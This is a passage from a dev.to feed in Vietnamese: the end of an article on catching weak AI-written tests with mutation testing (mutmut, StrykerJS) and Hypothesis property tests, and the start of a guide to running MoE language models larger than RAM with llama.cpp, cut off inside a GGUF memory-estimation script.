    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;price&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;price&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;percent&lt;/span&gt; &lt;span class="o"&gt;//&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Đây là bộ test mà AI sinh ra cho hàm trên, khá đúng kiểu thường gặp:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# tests/test_pricing.py
&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;pytest&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;src.pricing&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;apply_discount&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;test_apply_discount&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="k"&gt;assert&lt;/span&gt; &lt;span class="nf"&gt;apply_discount&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;90&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;test_invalid_percent&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;pytest&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;raises&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;ValueError&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="nf"&gt;apply_discount&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;150&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Coverage đạt 100%. Thử nghĩ xem chuyện gì xảy ra nếu ai đó vô tình đổi &lt;code&gt;percent &amp;gt; 100&lt;/code&gt; thành &lt;code&gt;percent &amp;gt;= 100&lt;/code&gt;? Hoặc đổi &lt;code&gt;//&lt;/code&gt; thành &lt;code&gt;/&lt;/code&gt;? Với &lt;code&gt;/&lt;/code&gt; thì &lt;code&gt;apply_discount(100, 10)&lt;/code&gt; trả về &lt;code&gt;90.0&lt;/code&gt;, mà &lt;code&gt;90.0 == 90&lt;/code&gt; trong Python vẫn là &lt;code&gt;True&lt;/code&gt;. Cả hai bug này đều &lt;strong&gt;lọt qua&lt;/strong&gt; bộ test. Kiểu test này chỉ tạo cảm giác an toàn chứ không bảo vệ được gì.&lt;/p&gt;

&lt;h2&gt;
  
  
  Mutation testing: cố tình phá code xem test có phát hiện không
&lt;/h2&gt;

&lt;p&gt;Ý tưởng của mutation testing: tool tự sinh ra hàng loạt phiên bản "đột biến" (mutant) của code, ví dụ đổi &lt;code&gt;&amp;gt;&lt;/code&gt; thành &lt;code&gt;&amp;gt;=&lt;/code&gt;, &lt;code&gt;+&lt;/code&gt; thành &lt;code&gt;-&lt;/code&gt;, &lt;code&gt;True&lt;/code&gt; thành &lt;code&gt;False&lt;/code&gt;, rồi chạy lại test suite với từng mutant. Mutant nào làm test fail là bị "killed" (tốt). Mutant nào test vẫn pass là "survived", tức là test của bạn có lỗ hổng ở đúng chỗ đó.&lt;br&gt;
&lt;/p&gt;

&lt;pre data-lang="mermaid"&gt;&lt;code&gt;flowchart LR
    A[Source code] --&amp;gt; B[Mutation tool]
    B --&amp;gt; C[Mutant 1: &amp;gt; thành &amp;gt;=]
    B --&amp;gt; D[Mutant 2: // thành /]
    C --&amp;gt; E{Chạy test suite}
    D --&amp;gt; E
    E --&amp;gt;|Test fail| F[Killed ✅]
    E --&amp;gt;|Test pass| G[Survived ❌]
    G --&amp;gt; H[Viết thêm test / sửa assert]
    H --&amp;gt; A&lt;/code&gt;&lt;/pre&gt;



&lt;p&gt;Với Python, mình dùng &lt;strong&gt;mutmut 3.x&lt;/strong&gt;. Cách setup:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;pip &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="s2"&gt;"mutmut&amp;gt;=3.0"&lt;/span&gt; pytest hypothesis

&lt;span class="c"&gt;# pyproject.toml&lt;/span&gt;
&lt;span class="nb"&gt;cat&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; pyproject.toml &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;'
[tool.mutmut]
paths_to_mutate = ["src/"]
tests_dir = ["tests/"]
&lt;/span&gt;&lt;span class="no"&gt;EOF

&lt;/span&gt;mutmut run          &lt;span class="c"&gt;# sinh mutant và chạy test&lt;/span&gt;
mutmut results      &lt;span class="c"&gt;# liệt kê các mutant survived&lt;/span&gt;
mutmut show src.pricing.x_apply_discount__mutmut_3   &lt;span class="c"&gt;# xem diff của 1 mutant&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Chạy với bộ test ở trên, mutmut sẽ báo vài mutant survived, trong đó có đúng hai mutant &lt;code&gt;&amp;gt;=&lt;/code&gt; và &lt;code&gt;/&lt;/code&gt; mình vừa nói. Đây là danh sách việc cần làm cụ thể, không phải con số coverage chung chung.&lt;/p&gt;

&lt;p&gt;Với JavaScript/TypeScript thì dùng &lt;strong&gt;StrykerJS&lt;/strong&gt; (bản 8.x trở lên):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npm i &lt;span class="nt"&gt;-D&lt;/span&gt; @stryker-mutator/core @stryker-mutator/vitest-runner
npx stryker init
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Trong &lt;code&gt;stryker.config.json&lt;/code&gt;, mình luôn đặt threshold để CI fail khi mutation score tụt:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"testRunner"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"vitest"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"mutate"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"src/**/*.ts"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"!src/**/*.test.ts"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"thresholds"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"high"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"low"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;60&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;"break"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"incremental"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Nên bật &lt;code&gt;incremental: true&lt;/code&gt;, vì mutation testing chạy chậm (N mutant tương đương N lần chạy test). Với repo lớn, mình chỉ chạy trên các file thay đổi trong PR.&lt;/p&gt;

&lt;h2&gt;
  
  
  Property-based testing: đừng để AI chọn input
&lt;/h2&gt;

&lt;p&gt;Vấn đề thứ hai của test do AI viết là nó tự chọn ví dụ "đẹp", kiểu &lt;code&gt;100&lt;/code&gt; và &lt;code&gt;10&lt;/code&gt;. Property-based testing đảo ngược cách làm: bạn mô tả &lt;strong&gt;tính chất luôn đúng&lt;/strong&gt;, còn tool tự sinh hàng trăm input, kể cả những edge case bạn không nghĩ ra. Với Python, mình dùng &lt;strong&gt;Hypothesis 6.x&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# tests/test_pricing_props.py
&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;pytest&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;hypothesis&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;given&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;strategies&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;st&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;src.pricing&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;apply_discount&lt;/span&gt;

&lt;span class="n"&gt;prices&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;st&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;integers&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;min_value&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;max_value&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;valid_percents&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;st&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;integers&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;min_value&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;max_value&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="nd"&gt;@given&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;price&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;prices&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;percent&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;valid_percents&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;test_result_is_int_and_in_range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;price&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;percent&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;apply_discount&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;price&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;percent&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;assert&lt;/span&gt; &lt;span class="nf"&gt;type&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;          &lt;span class="c1"&gt;# giết mutant // -&amp;gt; /
&lt;/span&gt;    &lt;span class="k"&gt;assert&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="n"&gt;price&lt;/span&gt;

&lt;span class="nd"&gt;@given&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;price&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;prices&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;test_boundaries&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;price&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;assert&lt;/span&gt; &lt;span class="nf"&gt;apply_discount&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;price&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;price&lt;/span&gt;
    &lt;span class="k"&gt;assert&lt;/span&gt; &lt;span class="nf"&gt;apply_discount&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;price&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;   &lt;span class="c1"&gt;# giết mutant &amp;gt; -&amp;gt; &amp;gt;=
&lt;/span&gt;
&lt;span class="nd"&gt;@given&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;percent&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;st&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;one_of&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;st&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;integers&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;max_value&lt;/span&gt;&lt;span class="o"&gt;=-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;st&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;integers&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;min_value&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;101&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;test_rejects_out_of_range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;percent&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;pytest&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;raises&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;ValueError&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="nf"&gt;apply_discount&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;percent&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Để ý là mình dùng &lt;code&gt;type(result) is int&lt;/code&gt; chứ không dùng &lt;code&gt;==&lt;/code&gt;. Đây là kiểu assert mà AI hay bỏ qua. Chạy lại &lt;code&gt;mutmut run&lt;/code&gt;, hai mutant survived lúc nãy đã bị kill.&lt;/p&gt;

&lt;p&gt;Với JS thì có &lt;strong&gt;fast-check&lt;/strong&gt;, cách dùng tương tự: &lt;code&gt;fc.assert(fc.property(fc.integer(), ...))&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Workflow mình đang dùng với AI
&lt;/h2&gt;

&lt;p&gt;Điểm mấu chốt: &lt;strong&gt;tách vai trò&lt;/strong&gt;. Đừng để AI vừa đá bóng vừa thổi còi.&lt;br&gt;
&lt;/p&gt;

&lt;pre data-lang="mermaid"&gt;&lt;code&gt;sequenceDiagram
    participant Dev
    participant AI
    participant Mut as mutmut/Stryker
    Dev-&amp;gt;&amp;gt;AI: Viết function + unit test
    AI--&amp;gt;&amp;gt;Dev: Code + test (coverage cao)
    Dev-&amp;gt;&amp;gt;Mut: Chạy mutation testing
    Mut--&amp;gt;&amp;gt;Dev: Danh sách mutant survived
    Dev-&amp;gt;&amp;gt;AI: Gửi diff mutant, yêu cầu viết test kill nó
    AI--&amp;gt;&amp;gt;Dev: Test mới
    Dev-&amp;gt;&amp;gt;Mut: Chạy lại, kiểm tra score&lt;/code&gt;&lt;/pre&gt;



&lt;p&gt;Vài kinh nghiệm thực tế:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Đưa diff của mutant cho AI&lt;/strong&gt;, đừng chỉ nói "viết thêm test". Prompt kiểu "mutant này survived, hãy viết test fail với mutant nhưng pass với code gốc" cho kết quả tốt hơn hẳn, vì AI có một mục tiêu cụ thể để "đánh".&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Property do người viết&lt;/strong&gt;, còn implementation thì để AI viết. Tính chất như "kết quả không bao giờ âm" hay "encode rồi decode ra lại input" là business logic, bạn phải hiểu và tự viết ra.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Không cần đạt 100% mutation score&lt;/strong&gt;. Có những mutant tương đương (equivalent mutant), tức là đổi code nhưng hành vi không đổi. Mình đặt mục tiêu khoảng 70-80% cho core logic và bỏ qua phần glue code.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Chạy mutation testing nightly hoặc chỉ trên file thay đổi&lt;/strong&gt;, đừng chạy trên mọi commit nếu repo lớn.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Kết luận
&lt;/h2&gt;

&lt;p&gt;AI giúp viết test nhanh hơn rất nhiều, nhưng test nhanh mà không bắt được bug thì chỉ là slop có coverage cao. Những việc bạn có thể làm ngay tuần này:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Cài &lt;code&gt;mutmut&lt;/code&gt; (Python) hoặc &lt;code&gt;@stryker-mutator/core&lt;/code&gt; (JS/TS) và chạy thử trên &lt;strong&gt;một module core&lt;/strong&gt; đang có coverage cao. Gần như chắc chắn bạn sẽ thấy mutant survived.&lt;/li&gt;
&lt;li&gt;Với mỗi hàm xử lý tiền, ngày giờ hoặc parsing, viết ít nhất &lt;strong&gt;một property test&lt;/strong&gt; bằng Hypothesis hoặc fast-check, tập trung vào giá trị biên (0, max, âm).&lt;/li&gt;
&lt;li&gt;Đổi cách prompt AI: thay vì "viết test cho hàm này", hãy đưa diff của mutant survived và yêu cầu nó kill mutant đó.&lt;/li&gt;
&lt;li&gt;Thêm threshold &lt;code&gt;break&lt;/code&gt; vào CI để mutation score không âm thầm tụt theo thời gian.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Test tốt phải có khả năng fail khi code sai. Nếu chưa từng thấy test của mình fail lần nào, bạn nên nghi ngờ nó.&lt;/p&gt;

</description>
      <category>testing</category>
      <category>ai</category>
      <category>python</category>
      <category>javascript</category>
    </item>
    <item>
      <title>Running MoE LLMs Larger Than Your RAM: A Practical Guide to mmap, Expert Offloading and SSD Streaming with llama.cpp</title>
      <dc:creator>EME GUG</dc:creator>
      <pubDate>Tue, 13 Oct 2026 01:54:07 +0000</pubDate>
      <link>https://dev.to/eme_gug_0821b41b948be6516/running-moe-llms-larger-than-your-ram-a-practical-guide-to-mmap-expert-offloading-and-ssd-2f88</link>
      <guid>https://dev.to/eme_gug_0821b41b948be6516/running-moe-llms-larger-than-your-ram-a-practical-guide-to-mmap-expert-offloading-and-ssd-2f88</guid>
      <description>&lt;p&gt;Tuần này trên Hacker News có một project khá thú vị tên Janas: chạy LLM lớn hơn RAM bằng cách stream các expert từ SSD. Đọc xong mình nhớ lại hồi đầu năm, khi cố nhét một model MoE hơn 100B params vào con laptop 32GB RAM. Lần đầu thì máy treo cứng, swap kín ổ. Lần sau thì chạy được khoảng 8 tokens/s, vì lúc đó mình đã hiểu model MoE thực sự dùng bộ nhớ thế nào. Ở Việt Nam, card 24GB VRAM vẫn còn đắt, thuê GPU cloud tính theo USD cũng không rẻ, nên biết cách vắt kiệt phần cứng đang có là một kỹ năng đáng học. Bài này mình chia sẻ cách làm thực tế với llama.cpp: cái gì nên nằm trên GPU, cái gì để ở RAM, cái gì có thể để trên SSD.&lt;/p&gt;

&lt;h2&gt;
  
  
  Vì sao MoE chạy được khi lớn hơn RAM, còn dense model thì không
&lt;/h2&gt;

&lt;p&gt;Với một dense model như Llama 3.1 70B, token nào cũng phải đi qua toàn bộ weights. Nếu weights không nằm hết trong RAM, mỗi token sẽ phải đọc lại hàng chục GB từ ổ đĩa. Kể cả NVMe Gen4 đọc được khoảng 7 GB/s thì tốc độ vẫn chỉ quanh mức 1 token mỗi vài giây, gần như không dùng được.&lt;/p&gt;

&lt;p&gt;MoE (Mixture of Experts) thì khác. Lấy ví dụ &lt;code&gt;gpt-oss-120b&lt;/code&gt;: tổng cộng khoảng 117B params, nhưng mỗi token chỉ kích hoạt khoảng 5.1B. &lt;code&gt;Qwen3-30B-A3B&lt;/code&gt; là 30B tổng và khoảng 3B active. Router ở mỗi layer chọn vài expert (thường top-4 hoặc top-8 trong vài chục đến 128 expert), phần còn lại không bị đụng tới.&lt;/p&gt;

&lt;p&gt;Từ đó có hai hệ quả:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Attention, embedding và shared layers&lt;/strong&gt; được dùng ở mọi token. Phần này nhỏ, nên đặt ở chỗ nhanh nhất là VRAM.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Expert FFN weights&lt;/strong&gt; chiếm phần lớn dung lượng nhưng mỗi lần chỉ một phần nhỏ được đọc. Phần này đặt ở RAM, và nếu RAM không đủ thì để OS page từ SSD vào.
&lt;/li&gt;
&lt;/ol&gt;

&lt;pre data-lang="mermaid"&gt;&lt;code&gt;flowchart LR
    T[Token input] --&amp;gt; A[Attention + Norm&amp;lt;br/&amp;gt;VRAM - luôn dùng]
    A --&amp;gt; R{Router}
    R --&amp;gt;|top-k| E1[Expert 3&amp;lt;br/&amp;gt;RAM / page cache]
    R --&amp;gt;|top-k| E2[Expert 17&amp;lt;br/&amp;gt;RAM / page cache]
    R -.không chọn.-&amp;gt; E3[Expert khác&amp;lt;br/&amp;gt;nằm trên SSD]
    E1 --&amp;gt; O[Output layer]
    E2 --&amp;gt; O&lt;/code&gt;&lt;/pre&gt;



&lt;p&gt;Điều mấu chốt là các expert không được chọn đều như nhau. Thực tế, với cùng một loại prompt (ví dụ toàn là code Python), router có xu hướng chọn đi chọn lại một nhóm expert. Linux page cache sẽ tự giữ nhóm “hot” này trong RAM, còn các expert “cold” nằm trên SSD và chỉ được đọc khi cần. Janas và các project tương tự tối ưu thêm ở tầng này: prefetch, cache LRU theo expert. Nhưng chỉ với mmap mặc định của llama.cpp, bạn đã có được phần lớn lợi ích.&lt;/p&gt;

&lt;h2&gt;
  
  
  Tính toán trước khi tải model 60GB về
&lt;/h2&gt;

&lt;p&gt;Đừng tải model rồi mới biết là không chạy nổi. Mình dùng script nhỏ dưới đây để ước lượng trước. Nó đọc metadata GGUF bằng package &lt;code&gt;gguf&lt;/code&gt; (pip install gguf, mình dùng bản 0.10+) và cộng dung lượng tensor theo nhóm:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# estimate_moe.py - ước lượng bộ nhớ cho model GGUF
&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;gguf&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;GGUFReader&lt;/span&gt;

&lt;span class="n"&gt;path&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;reader&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;GGUFReader&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;expert_bytes&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;other_bytes&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;t&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;reader&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;tensors&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;size&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;n_bytes&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="c1"&gt;# tensor expert trong llama.cpp có tên dạng blk.N.ffn_up_exps.weight
